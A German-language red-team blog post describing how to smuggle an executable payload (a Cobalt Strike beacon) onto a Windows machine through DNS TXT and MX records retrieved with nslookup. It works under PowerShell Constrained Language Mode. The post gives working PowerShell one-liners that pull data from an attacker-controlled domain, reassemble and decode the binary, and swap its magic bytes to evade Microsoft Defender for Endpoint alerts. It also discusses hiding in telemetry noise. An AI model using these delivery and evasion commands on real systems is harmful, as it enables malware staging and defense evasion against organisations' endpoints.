
DNS-Tunneling-Tool, das PowerShell und Nslookup verwendet, um Daten zu exfiltrieren und Payloads über DNS-TXT/MX-Einträge auszuliefern, wobei der Constrained Language Mode und Endpunktschutz umgangen werden.
Inspiriert von meiner jüngsten Arbeit mit Cobalt Strike DNS-Beacons und in Verbindung mit einem Leitbild, Microsoft Defender für Endpunkt zu umgehen, habe ich einige Zeit damit verbracht, zu untersuchen, wie DNS genutzt werden könnte, um eine Nutzlast auf einen Zielcomputer zu übertragen. Ich wollte mich zudem selbst herausfordern, indem ich versuchte, dies auf eine Weise zu tun, die selbst dann möglich ist, wenn PowerShell sich im Constrained Language Mode befindet. Diese Forschung richtete sich an neuere Windows-Implementierungen (d.h. Win10+, Server 2019+), aber wie später zu sehen sein wird, könnte es auch in älteren Versionen möglich sein.
DNS-Tunneling ist eine Technik, die es schon lange gibt und von einer Vielzahl von Angreifern genutzt wird. Im Wesentlichen wird das DNS-Protokoll als Mittel zur Dateninfiltration/-exfiltration oder als C2-Kommunikationskanal verwendet. Es gibt zahlreiche Blogbeiträge, auf die Sie für weitere Informationen zu diesem Thema zurückgreifen können.
Da es sich um eine so alte und bekannte Technik handelt, haben viele Unternehmen Erkennungsmethoden implementiert, um sie zu verhindern.
Der bevorzugte DNS-Eintragstyp für DNS-Tunneling war historisch gesehen TXT. Dies liegt daran, dass TXT-Einträge mehr Daten aufnehmen können als andere Einträge und zudem groß-/kleinschreibungssensitiv sind, was bei anderen Einträgen nicht der Fall ist und Auswirkungen haben kann, sobald wir über Kodierung sprechen.
Der Constrained Language Mode (CLM) ist ein restriktiver Sprachmodus für PowerShell, der die Fähigkeiten und die erlaubte Funktionalität von PowerShell erheblich einschränkt. Kurz gesagt sind .NET, COM-Objekte und Angreifer-Favoriten wie (new-object net.webclient).downloadstring... nicht verfügbar. Dieser Link bietet weitere Informationen. Organisationen setzen diese Richtlinie für normale Benutzer als Teil von Angriffsflächenreduzierungsregeln durch. Dies erschwert uns als Angreifer das Leben.
Die meisten sollten zumindest oberflächlich mit DNS vertraut sein, durch die Verwendung von Tools wie Nslookup. Aber grundsätzlich sendet der Client eine Abfrage und der DNS-Server gibt eine Antwort auf diese Abfrage zurück. Es gibt verschiedene Arten von DNS-Einträgen: CNAME, A, AAAA, TXT, MX und NS, um nur einige zu nennen. Jeder dieser Einträge kann unterschiedliche Informationen speichern und zurückgeben. Diese Einträge werden in einer Zonefile konfiguriert, die von einem DNS-Server bereitgestellt wird.
Ein Beispiel für eine Zonefile ist hier zu sehen:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.
Wenn man NS-Einträge für example.com abfragen würde, würde die Abfrage ns1.p30.dynect.net, ns2.p30.dynect.net, ns3.p30.dynect.net und ns4.p30.dynect.net zurückgeben.
# Forschung
## Domainnamen-Registrierung
Bevor wir beginnen, müssen wir kurz darüber sprechen, wie man DNS-Einträge so einrichtet, dass sie auf eine IP verweisen, die wir kontrollieren und auf der wir einen DNS-Server betreiben. Wie unten gezeigt, habe ich eine Domain gekauft und DNS-Einträge eingerichtet, die den Subdomain "dns" auf den Subdomain "ns1" verweisen lassen, dem die öffentliche IP des Servers zugewiesen ist.

Das bedeutet, dass alle Anfragen nach "dns.edu....com" an "ns1.edu....com" weitergeleitet werden, der die IP 3..86 zugewiesen ist. Auf dieser IP werden wir einen DNS-Server einrichten, um unsere Einträge auszuliefern. Darauf kommen wir später zurück.
## Ein clientseitiges Tool finden
Meine Suche begann mit einer einfachen Google-Suche nach "powershell dns module", die [diesen](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps) Link zurückgab. Von besonderem Interesse war der Befehl `Resolve-DnsName`. Es scheint sich im Grunde um eine PowerShell-Implementierung des bekannten Nslookup.exe-Binärprogramms zu handeln. Beachten Sie, dass bestimmte Record-Typen angefordert werden können:

Ok, wir haben also ein PowerShell-Modul, das DNS-Abfragen durchführen und die Antwort abrufen kann. Funktioniert es im Constrained Language Mode (CLM)? Die Antwort lautet: so ungefähr.
Wie Sie hier sehen können, wenn ich ein neues PowerShell-Fenster öffne, `Resolve-DnsName` ausführe, PowerShell in den CLM versetze (und mit dem einfachen `::WriteLine`-Aufruf teste) und dann `Resolve-DnsName` erneut ausführe, funktioniert es ohne Probleme:

Wenn ich jedoch ein neues PowerShell-Fenster öffne und es sofort in den CLM versetze und dann versuche, `Resolve-DnsName` auszuführen, schlägt es fehl:

Es scheint, dass ein Modul, das zuvor geladen wurde, auch nach der Aktivierung des CLM ausgeführt werden kann, der CLM jedoch das Laden verhindert, wenn es noch nicht geladen wurde. Da ich im Hinblick auf eine Zielumgebung, in der der CLM für Benutzer standardmäßig aktiviert ist (und ohne zu wissen, ob bestimmte Module vorab geladen sind oder ob DnsClient dazugehört), entschied ich mich an diesem Punkt, `Resolve-DnsName` hinter mir zu lassen und mich wieder dem guten alten Nslookup.exe zuzuwenden.

Nslookup.exe ist ein fester Bestandteil des IT-Werkzeugkastens und ein sehr bekanntes Binärprogramm, das für legitime Zwecke verwendet wird. Die Chancen stehen gut, dass es auch in Umgebungen, in denen Anwendungs-Whitelisting ein Thema ist, ausgeführt werden darf.
Nslookup wird im Wesentlichen dieselben Informationen wie unsere `Resolve-DnsName`-Abfrage zurückgeben; wir müssen die Daten nur etwas anders verarbeiten, wenn es so weit ist.
## Ein ausführbares Programm in DNS-Einträge verwandeln?
Ok, wir haben also eine Möglichkeit, DNS-Abfragen auf dem Opfercomputer durchzuführen. Wie können wir unsere Nutzlast in einem Format bereitstellen, das Nslookup abrufen kann?
Ausführbare Programme sind natürlich Binärdateien, also nicht menschenlesbar. Daher müssen die Daten in etwas umgewandelt werden, das wir in DNS-Einträge stecken können und das ein Tool wie Nslookup wiederherstellen kann. Es gibt zahlreiche Codierungsoptionen, aber die wichtigste Überlegung ist: Was kann der Opfer-Rechner mit rein nativen Windows-Tools und den im CLM verfügbaren Funktionen decodieren? Base64 ist die naheliegende und oft gewählte Antwort.
Mit Base64 verwandeln wir unser ausführbares Programm in einen riesigen menschenlesbaren String, der dann in viele DNS-Einträge aufgeteilt und mit Nslookup wiederhergestellt werden kann. Auf der Client-Seite kann das bekannte LOLBAS certutil.exe verwendet werden, um die aggregierten DNS-Einträge von Base64 zurück in das Binärformat zu decodieren.
Dies erfordert, dass wir etwas mehr über DNS-Record-Typen sprechen. Jeder Record-Typ speichert bestimmte Informationen in einem bestimmten Format. A-Records speichern und geben z. B. eine IPv4-Adresse zurück (111.111.111.111). AAAA-Records geben eine IPv6-Adresse zurück, MX- und NS-Records geben Domain-Namen zurück, und TXT-Records können 255 Zeichen lange Zeichenketten zurückgeben. Wie bereits erwähnt, sind TXT-Records aufgrund der Länge des Records und der Groß-/Kleinschreibung die naheliegende Wahl für Angreifer, da weniger davon benötigt werden und sie mit Codierungen wie Base64 kompatibel sind.
Sehen wir uns an, wie das aussieht.
Auf unserer Kali-VM können wir unser ausführbares Programm nehmen und in Base64 codieren. Beachten Sie die Verwendung des Schalters `-w 0`, der alle Zeilenumbrüche entfernt, sodass wir eine einzelne Zeile Base64-Text erhalten:

Ein Blick auf die Datei zeigt das Base64:

Wir müssen diese Base64-codierte Datei nun in DNS-TXT-Records umwandeln, die von unserem DNS-Server ausgeliefert werden.
Es gibt einige Dinge, die ich dabei gelernt habe und die ich hier kurz zusammenfassen werde, bevor ich fortfahre:
**1.** Wenn mehrere Records als Antwort auf eine einzelne DNS-Abfrage zurückgegeben werden, gibt es keine Garantie, dass sie in der „richtigen Reihenfolge“ zurückgegeben werden. Dies ist für unsere Zwecke entscheidend, da wir eine Datei aus allen TXT-Records wieder zusammensetzen müssen – wenn sie in der falschen Reihenfolge sind, funktioniert es nicht.
**2.** Doppelte Records werden bei einer Abfrage nicht zurückgegeben. Wenn wir beispielsweise 3 TXT-Records in unserer Zonendatei hätten und zwei davon dieselben Informationen enthalten würden, würden bei einer Abfrage der TXT-Records für diese Domain nur 2 Records zurückgegeben, da nur die eindeutigen Records zurückgegeben werden. Abgesehen vom Problem der fehlenden Reihenfolge: Wenn wir zum Beispiel große Abschnitte von „AAAAA“ (wie in der Base64-codierten Nutzlast) hätten, die mehrere TXT-Records füllen müssten, würde bei einer Abfrage unserer Domain nach TXT-Records nur einer der mit „A“ gefüllten TXT-Records zurückgegeben, selbst wenn es mehrere davon in der Zonendatei gibt.
Vor diesem Hintergrund müssen wir sicherstellen, dass für jede DNS-Abfrage nur ein einziger TXT-Record zurückgegeben wird. Hier kommen Subdomains ins Spiel. Genauso wie wir „dns.edu...com“ als Subdomain von „edu....com“ registriert haben, können wir Records für weitere Subdomains bereitstellen (z. B. 1.dns.edu....com). Wir können so viele Subdomains erstellen, wie nötig, um alle unsere TXT-Records auszuliefern.
Sehen wir uns unsere Base64-codierte Nutzlast an:

Wie bereits erwähnt, können wir 255 Zeichen in jeden TXT-Record packen. 413.696 / 255 ergibt aufgerundet 1.623. Das sind viele TXT-Records (und damit auch viele Subdomains). Es ist jedoch ein Ausgangspunkt.
Ich habe ein Python3-Skript geschrieben, das die Base64-codierte Nutzlast einliest und eine Zonendatei erstellt:

Dieses Skript öffnet unsere Base64-codierte Nutzlast (comp.txt) und verwendet die Funktion „chunkstring“ (von einem Stack Overflow Beitrag), um die Datei in 255 Zeichen lange Blöcke aufzuteilen, aus denen wir dann TXT-Records erstellen. Beachten Sie, dass die IPs hier gefälscht/zufällig und unnötig sind.
Ein Blick auf die erstellte Zonendatei zeigt unsere TXT-Records:

Beachten Sie die Zahl ganz links bei jedem TXT-Record; sie bezeichnet die Subdomain.
Nachdem unsere Zonendatei erstellt ist, müssen wir sie auf unseren DNS-Server kopieren und dann ausliefern. Ich habe [CoreDNS](https://github.com/coredns/coredns) dafür verwendet:

Dies zeigt, dass ich Abfragen für dns.edu....com auf Port 53 akzeptiere. In der Corefile habe ich die im vorherigen Schritt erstellte Zonendatei angegeben, um Records auszuliefern. Um zu testen, ob unsere Records funktionieren, führen wir nslookup für TXT-Records von 1.dns.edu....com aus:

Da ist unser TXT-Record!
## Angriff!
Wir müssen nun nslookup ... 1623 Mal ausführen. Alles andere als ideal, aber es ist das, was wir vorerst tun werden. Wir verwenden diesen PowerShell-One-Liner, um nslookup für jede Subdomain auszuführen und dann nur den TXT-Record ($temp[5]) auszuwählen und $results nach und nach aufzubauen. $results wird dann nach ./temp.txt geschrieben, und schließlich wird certutil verwendet, um temp.txt zu custombeacon.exe zu decodieren.```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe
Nach Ausführung unseres Befehls sehen wir alle DNS-Anfragen auf unserem CoreDNS-Server:

Und auf unserem Client sehen wir, dass der Certutil-Befehl erfolgreich war:

Unsere Ausgabelänge stimmt mit der unserer ursprünglichen EXE überein (und sie läuft) – ausgezeichnet!

Allerdings haben wir ein Problem. Schauen wir uns das MDE-Dashboard für unseren Evaluierungslab-Rechner an:

Hier gibt es 5 Warnungen, die wir angehen müssen (ignorieren Sie die oberen zwei „Verdächtige Verwendung von certutil.exe zum Decodieren einer ausführbaren Datei“, da es sich um Duplikate handelt, die durch das zweimalige Ausführen derselben Angriffskette während des Tests entstanden sind).
1. Verdächtige Erkennung der Systemnetzwerkkonfiguration – Dies betrifft die Verwendung des Cmdlets 'Resolve-DnsName' (dieser Test wurde vor dem Wechsel zu Nslookup aus anderen Gründen durchgeführt)

2. DNS-Angriffstool oder -aktivität – Dies betrifft die Verwendung von TXT-Einträgen zum Einschleusen unserer Daten

3. / 4. / 5. – Verdächtige Verwendung von certutil.exe zum Decodieren einer ausführbaren Datei / Verwendung einer Living-off-the-Land-Binärdatei zur Ausführung von schädlichem Code

Wir werden diese Warnung abschreiben, da wir zu Nslookup wechseln werden. Wir werden sehen, ob sie weiterhin ein Problem darstellt. Ich weiß es nicht, aber ich habe den Verdacht, dass diese Art von Warnung von vielen Organisationen aufgrund ihrer geringen Priorität und ihres scheinbar sehr leicht auslösbaren Charakters ignoriert werden könnte.
Diese Warnung bezieht sich erneut auf die Verwendung von TXT-Einträgen zum Schmuggeln unserer Nutzlast; das ist nicht allzu überraschend, da TXT-Einträge aus gutem Grund seit langem der Favorit für diese Art von Aktivität sind. Die Lösung hier scheint zu sein, einen alternativen Eintragstyp zu verwenden, was wir in Verbindung mit dem Folgenden in der nächsten Warnung untersuchen werden.
Es ist auch nicht allzu überraschend, dass certutil beim Decodieren unserer Nutzlast markiert wurde; es ist ein uralter Trick, vor dem jede seriöse Organisation warnen sollte. Die Warnung ist jedoch interessanterweise spezifisch; sie hebt hervor, dass sie zum Decodieren einer ausführbaren Datei verwendet wurde. Dies brachte mich zu der Frage, was passieren würde, wenn ich die Magic Bytes unserer Nutzlast vor dem Base64-Kodieren manipuliere und dann auf der Client-Seite, nachdem ich certutil zum Decodieren verwendet habe, wieder ändere. Ich werde es hier nicht zeigen, aber dies umging tatsächlich diese Warnung, und ich konnte certutil verwenden, um eine Base64-Nutzlast zu decodieren und dann die Magic Bytes zurück zu MZ zu ändern, sodass die Nutzlast ausführbar war, alles unter Verwendung nativer PowerShell-Funktionalität.
Ich beschloss, stattdessen MX-Einträge anstelle von TXT-Einträgen zu verwenden, um die Nutzlast zu schmuggeln. Dieser Blogbeitrag stellt fest, dass die maximale Länge eines gültigen DNS-Namens 255 Zeichen beträgt``` (63 letters).(63 letters).(63 letters).(62 letters)
Da MX-Einträge einen Domainnamen zurückgeben, sollte ich in jedes Oktett recht viele Daten packen können. Nach einigen Tests habe ich beschlossen, jeden Eintrag etwas zu verkürzen und nur 50 Zeichen pro Oktett zu verwenden, insgesamt also 200 pro MX-Eintrag.
Es gibt jedoch ein Problem. Bei DNS-Einträgen sind nur TXT- und SPF-Einträge (eine Art TXT-Eintrag) case-sensitive. Unsere Kodierungssprache, Base64, ist case-sensitive. Ich habe ein paar Stunden mit der Fehlersuche verbracht, bis ich es herausgefunden habe, aber im Endeffekt: Wenn wir Base64 verwenden wollen, können wir keine MX-Einträge nutzen, da unser Nslookup die Einträge immer in Kleinbuchstaben zurückgibt, was unsere Kodierung zunichtemacht.
Wir müssen entweder einen anderen Eintragstyp finden, der case-sensitive und mit Base64 kompatibel ist, oder wir müssen eine andere Kodierungssprache finden, die Windows/PowerShell im CLM nativ dekodieren kann.
Nach einiger [Recherche](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin) habe ich herausgefunden, dass PowerShell Hex in Binär umwandeln kann, ohne .NET zu verwenden:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw
# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)
Mit einer geringfügigen Änderung des obigen Codes (Ersetzen von [System.IO.File]... durch $bytes | set-content....) sollte dies für unsere Zwecke funktionieren.
MX-Einträge haben auch einen "Präferenz"-Wert; dies ist im Wesentlichen eine Reihenfolge der Priorität, welcher MX-Server für eine Domain verwendet werden soll. Dies ist im früheren Beispiel einer Zonendatei als die Werte "10 20 und 30" vor den Domainnamen der MX-Einträge zu sehen. Wir können diesen Präferenzwert zu unserem Vorteil nutzen, indem wir mehrere MX-Einträge pro Subdomain einschließen und sicherstellen, dass unsere Daten durch Sortierung nach dem Präferenzwert in der richtigen Reihenfolge sind. Dies wird es uns ermöglichen, die Anzahl der Aufrufe von Nslookup drastisch zu reduzieren, verglichen mit dem Fall, dass wir einen einzelnen Eintrag pro Subdomain mit TXT-Einträgen abrufen.

Wie oben gezeigt, können Datensätze in falscher Reihenfolge zurückgegeben werden, aber mit dem Präferenzwert können wir sie neu ordnen.
Um dies zu implementieren, habe ich zunächst ein kleines Python3-Skript geschrieben, um unsere Nutzdaten in Hex zu konvertieren:


Anschließend habe ich das ursprüngliche Python3-Skript modifiziert, um eine Zonendatei mit MX-Einträgen anstelle von TXT-Einträgen zu erstellen:

Die Hauptunterschiede bestehen darin, dass wir jetzt 200 Zeichen auf einmal chunkieren und 100 MX-Einträge pro Subdomain zuweisen; dies wird durch die Variable j verfolgt, wobei j im MX-Eintrag der Präferenzwert ist. Sie beginnt bei 10 für den ersten Eintrag und erhöht sich in 10er-Schritten bis auf 1000. Wenn j 1010 erreicht, wird es auf 10 zurückgesetzt und i erhöht sich um eins, wobei die Variable i die Subdomain ist, die in jedem MX-Eintrag angegeben ist.
Dieses Skript erzeugt eine Zonendatei wie folgt (Ende der Zonendatei gezeigt):

Hier gezeigt sind zwei Subdomains (31.dns.edu....com und 32.dns.edu....com) und mehrere Einträge für jede. Die Einträge können durch den Präferenzwert nach jedem MX unterschieden werden (31.dns.edu....com: 960, 970, 980, 990, 1000; 32.dns.edu....com: 10, 20, 30).
Wir müssen unseren Powershell-Befehl ziemlich stark modifizieren, um dieses neue Format zu unterstützen. Ich habe das Skript in Powershell ISE mit Kommentaren gezeigt, um besser zu erklären, was in jedem Schritt passiert, aber im Wesentlichen werden wir Folgendes tun:
-1. Für jede Subdomain
--A Nslookup ausführen
--B Für jeden von Nslookup zurückgegebenen MX-Eintrag
---a. Nur unsere Daten extrahieren und in einem Array in der richtigen Reihenfolge speichern (sortiert nach dem MX-Präferenzwert)
--C Jeden Datenstring an unseren kumulativen $results-String anhängen

Dann müssen wir $results nehmen und das Hex wieder in Binär umwandeln, bevor wir es auf die Festplatte schreiben. Hier werden wir das zuvor gezeigte Powershell-Skript einbinden.
In eine einzelne Zeile gepackt erhalten wir Folgendes:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe
## Zweiter Versuch
Lassen Sie uns unseren PowerShell-Befehl auf einer MDE-Labortestbox ausführen und sehen, was passiert (wir sind in CLM, nur nicht gezeigt):

Ausführen unseres Beacons (auf der Rückseite geschah mehr Magie, um DNS-Beacons zu verwenden)

Wir erhalten eine Warnung für das Verhalten „SuspiciousFileDrop“, die jedoch mit „Keine Bedrohungen gefunden“ aufgelöst wurde... mehr zu erforschen. Aber alle Warnungen in Bezug auf TXT-Einträge oder Certutil zum Dekodieren einer ausführbaren Datei sind verschwunden.

## Nur einen Schritt nach links...
MDE gefiel es nicht, dass PowerShell unsere Nutzlast auf die Festplatte schrieb. Es ist verständlich; im Endeffekt hat Nslookup eine unbekannte ausführbare Datei aus dem Internet gezogen und auf die Festplatte gespeichert. Wie können wir das abmildern?
Ich beschloss, die Magischen Bytes der Nutzlast erneut zu betrachten. Meine Arbeitstheorie war, dass wenn ich die Magischen Bytes der Nutzlast in die einer .txt-Datei ändere und diese auf die Festplatte schreibe, dann diese Datei in eine neue Variable einlese und die Magischen Bytes zurück zu MZ (ausführbar) ändere und dann wieder auf die Festplatte schreibe, könnte ich MDE täuschen, weil der I/O-Vorgang, der zur funktionsfähigen ausführbaren Datei auf der Festplatte führt, nun von einer bereits auf der Festplatte vorhandenen .txt-Datei ausgeht und nicht von aus dem Internet gezogenen Daten.
Versuchen wir es.
Wir können VIM verwenden, um unsere ausführbare Datei auf unserer Angriffsbox zu öffnen. Beachten Sie den MZ-Header in den ersten zwei Bytes, der dies als ausführbare Datei deklariert:

Durch Eingabe von :%!xxd können wir die Datei im Hex-Format bearbeiten:

und die ersten beiden Bytes in FF FE ändern (UTF-16LE-Byte-Reihenfolge-Marke, häufig in Textdateien zu sehen, gemäß https://en.wikipedia.org/wiki/List_of_file_signatures):

Wir müssen nun den Hex-Editor schließen, indem wir :%!xxd -r eingeben, was zeigt, dass unsere Magischen Bytes tatsächlich ersetzt wurden:

Wir können dann VIM schreiben und beenden.
Wir werden unsere Nutzlast erneut in Hex umwandeln und dann das Python3-Skript verwenden, um die geänderte Nutzlast in MX-Einträge zu platzieren, die auf unserem DNS-Server bereitgestellt werden können.
Auf der Clientseite müssen wir unseren PowerShell-Befehl ändern, um die Magischen Bytes zu korrigieren und unsere ausführbare Datei wieder funktionsfähig zu machen. Wie erwähnt, werden wir zuerst unsere „txt“-Datei auf die Festplatte schreiben und sie dann mit get-content wieder in den Speicher holen, um die SuspiciousFileDrop-Warnung von MDE zu umgehen. Die relevante Änderung und Ergänzung unseres PowerShell-Befehls ist:
```powershell
$encrypted_content = Get-Content C:\temp\evil.txt -Raw
$bytes = [System.Text.Encoding]::Unicode.GetBytes($encrypted_content)
$bytes[0] = 0x4D; $bytes[1] = 0x5A
[System.IO.File]::WriteAllBytes("C:\temp\evil.exe", $bytes)
``````powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte
In diesem Befehl schreiben wir zuerst unseren heruntergeladenen Payload (mit .txt-Magischen-Bytes) als out.txt auf die Festplatte, lesen ihn dann in ein Byte-Array $readfile ein, wonach das erste und zweite Byte auf 0x4D bzw. 0x5A gesetzt werden, wodurch der MZ-Header unseres Payloads wiederhergestellt wird. $readfile wird dann an Set-Content weitergeleitet, um unseren funktionsfähigen Payload als new.exe auf die Festplatte zu schreiben.
Probieren wir das in unserer MDE-VM aus (beachten Sie, dass der Befehl etwas anders aussieht; dies wird im nächsten Abschnitt behandelt):

Und auf dem Dashboard?

Erfolg!
Wir haben unseren Payload erfolgreich heruntergeladen und über DNS-Anfragen und PowerShell-Befehle, die im eingeschränkten Sprachmodus verfügbar sind, in ein funktionsfähiges Format zurückversetzt. MDE hat auf nichts alarmiert, aber was sieht MDE eigentlich? Die Antwort lautet: alles.
Werfen wir einen Blick auf die Ereigniszeitachse für unseren Testrechner, gefiltert nach Ereignissen mit PowerShell:

In diesem Bild sehen wir einige der von PowerShell aufgerufenen nslookup.exe, von denen jede ein „T1016: System Network Configuration Discovery“-Ereignis auslöste. Außerdem sehen wir „powershell.exe hat eine gepackte Datei new.exe abgelegt“, was sich auf unser nun funktionsfähiges ausführbares Programm bezieht, das nach der Änderung der magischen Bytes wieder auf die Festplatte geschrieben wurde. Dies löst einige Ereignis-IDs aus, wobei „T1027.002: Software Packing“ die bemerkenswerteste ist.
Durch das Filtern auf diese Ereignisse könnten wir möglicherweise sehen, wie häufig oder ungewöhnlich jedes einzelne ist und wie wahrscheinlich es ist, dass unsere Aktionen im Rauschen normaler Computeraktivitäten untergehen.
Betrachten wir T1016:

Wir sehen alle unsere nslookup-Aufrufe, aber auch andere Ereignisse, die von Prozessen wie WaAppAgent.exe und WindowsAzureGuestAgent.exe erzeugt wurden. Diese wiederum führten Dinge wie ipconfig.exe und arp.exe aus. Es können also mehrere verschiedene ausführbare Dateien T1016: System Network Configuration Discovery auslösen, was gut für uns ist, wenn wir unter dem Radar fliegen wollen.
Betrachten wir T1027:

Die Nachrichten sind hier weniger gut. Das einzige Ereignis für T1027.002: File Packing ist unser powershell.exe, das unseren Payload auf die Festplatte ablegt. Ich bin mir nicht ganz sicher, warum dieses Ereignis für unsere Aktion ausgelöst wird, aber ich bin nicht überzeugt, dass es etwas mit der DNS-Infiltration zu tun hat, sondern eher mit dem Schreiben einer ausführbaren Datei auf die Festplatte. In jedem Fall hat dies keinen tatsächlichen Alarm ausgelöst, es ist nur ein protokolliertes Ereignis.
Wie viele protokollierte Ereignisse gibt es und wie gut ist die normale Computerfunktionalität kategorisiert? Die Antworten sind „viele“ und „nicht sehr“. Beim Scrollen, um die PowerShell-Ereignisse zu finden, bin ich auf Folgendes gestoßen:

Das sieht sicherlich verdächtig aus … was ist los?

Ach. Es ist nur Windows Defender ATP, das PowerShell-Befehle ausführt.
Die Anzahl der von MDE protokollierten Ereignisse ist atemberaubend. Solange wir keinen tatsächlichen Alarm auslösen, mache ich mir keine allzu großen Sorgen, dass unsere protokollierten Aktionen während aktiver Ermittlungen entdeckt werden, es sei denn, wir geben den Verteidigern Gründe, genauer hinzusehen.
Wir haben einen funktionierenden POC, aber jetzt ist es an der Zeit, das Produkt zu verfeinern. Ich hatte drei Hauptziele:
Automatisierung
Zuverlässigkeit
Effizienz
Ich begann damit, die Python-Skripte zu kombinieren, die unsere ausführbare Datei in Hex umwandelten und dann eine Zonendatei erstellten. Als Nächstes entfernte ich alle statischen Verweise auf Domainnamen, die die Zonendatei bevölkern; diese werden jetzt über Befehlszeilenargumente übergeben. Drittens fügte ich eine Funktion hinzu, um eine Kopie unseres Payloads zu erstellen und dann die magischen Bytes zu ändern; diese modifizierte Kopie wird in MX-Einträge in unserer Zonendatei umgewandelt, wodurch VIM überflüssig wird. Schließlich gibt das Python-Skript den PowerShell-One-Liner mit der korrekten Anzahl von Iterationen für nslookup (abhängig von der Payload-Länge) und der Domain aus, gegen die nslookup ausgeführt werden soll. Dieses Python-Skript wurde als „createzonefile.py“ hochgeladen.

Um die Zuverlässigkeit des Angriffs zu erhöhen, habe ich einige Zeit damit verbracht, daran zu arbeiten, wie das Python-Skript MX-Einträge erstellt. Der Hauptproblembereich war der letzte MX-Eintrag; dieser enthält den Rest des Payloads, da jeder andere Eintrag mit 200 Zeichen gefüllt ist. Abhängig davon, wie viele Daten für diesen Eintrag übrig bleiben, könnten wir ein, zwei, drei oder vier Oktette teilweise oder vollständig gefüllt haben. Ich habe festgestellt, dass nslookup keine Einträge abruft, wenn zu viele nachgestellte „.“ vorhanden sind, wie dies bei unserem früheren einfachen Python-Skript der Fall war, wenn weniger als vier Oktette vom letzten MX-Eintrag verwendet wurden (z. B. könnte der Eintrag „0000000000000000000000.000000..“ sein). Es wurde eine neue Logik implementiert und getestet, um sicherzustellen, dass unabhängig von der Payload-Größe oder der Datenmenge im letzten MX-Eintrag dieser korrekt formatiert ist und wie erwartet funktioniert.
Die Implementierung des PowerShell-One-Liners im Python-Skript ist ein weiterer Schritt in Richtung Zuverlässigkeit, da sichergestellt wird, dass Sie sowohl die korrekte Anzahl von nslookup-Iterationen als auch denselben Domainnamen erhalten, der in der Zonendatei angegeben ist.
Dieser letzte Punkt dreht sich hauptsächlich um den PowerShell-One-Liner. Ich wollte versuchen, die Befehlslänge so weit wie möglich zu reduzieren, falls man ihn auf einem Zielrechner von Hand eingeben muss. Vor der Berücksichtigung des hinzugefügten Skripts zum Ersetzen der magischen Bytes konnte ich ihn um etwa 30% verkürzen.
Diese Einsparungen ergeben sich aus mehreren Punkten:

Ich bin sicher, dass noch mehr getan werden könnte, aber ich bin weit davon entfernt, ein PowerShell-Experte zu sein.
Der endgültige, verbesserte PowerShell-One-Liner, der die MZ-Magischen-Bytes wiederherstellt und die temporäre .txt-Datei löscht, lautet:```powershell $o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<==\s)((\d|\w){1,50}.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f
# Abschließende Gedanken
Die Verwendung von DNS, um eine Payload zu infiltrieren, kann eine attraktive Option in stark eingeschränkten Umgebungen sein, in denen normale Methoden mit HTTP/S und/oder konventionellere Methoden nicht praktikabel sind. In einer solchen Umgebung ist die nächste Hürde wahrscheinlich die tatsächliche Ausführung der Payload – die Umgehung der Anwendungs-Whitelist ist ein Thema, mit dem ich mich in Zukunft wahrscheinlich näher befassen werde.
Vielen Dank an diejenigen, die bis zum Ende durchgehalten haben. Es waren ein paar geschäftige Tage, als ich dieses Thema erkundet und entwickelt habe, und ich habe sicherlich einiges gelernt, wie ich hoffe, dass Sie es auch getan haben.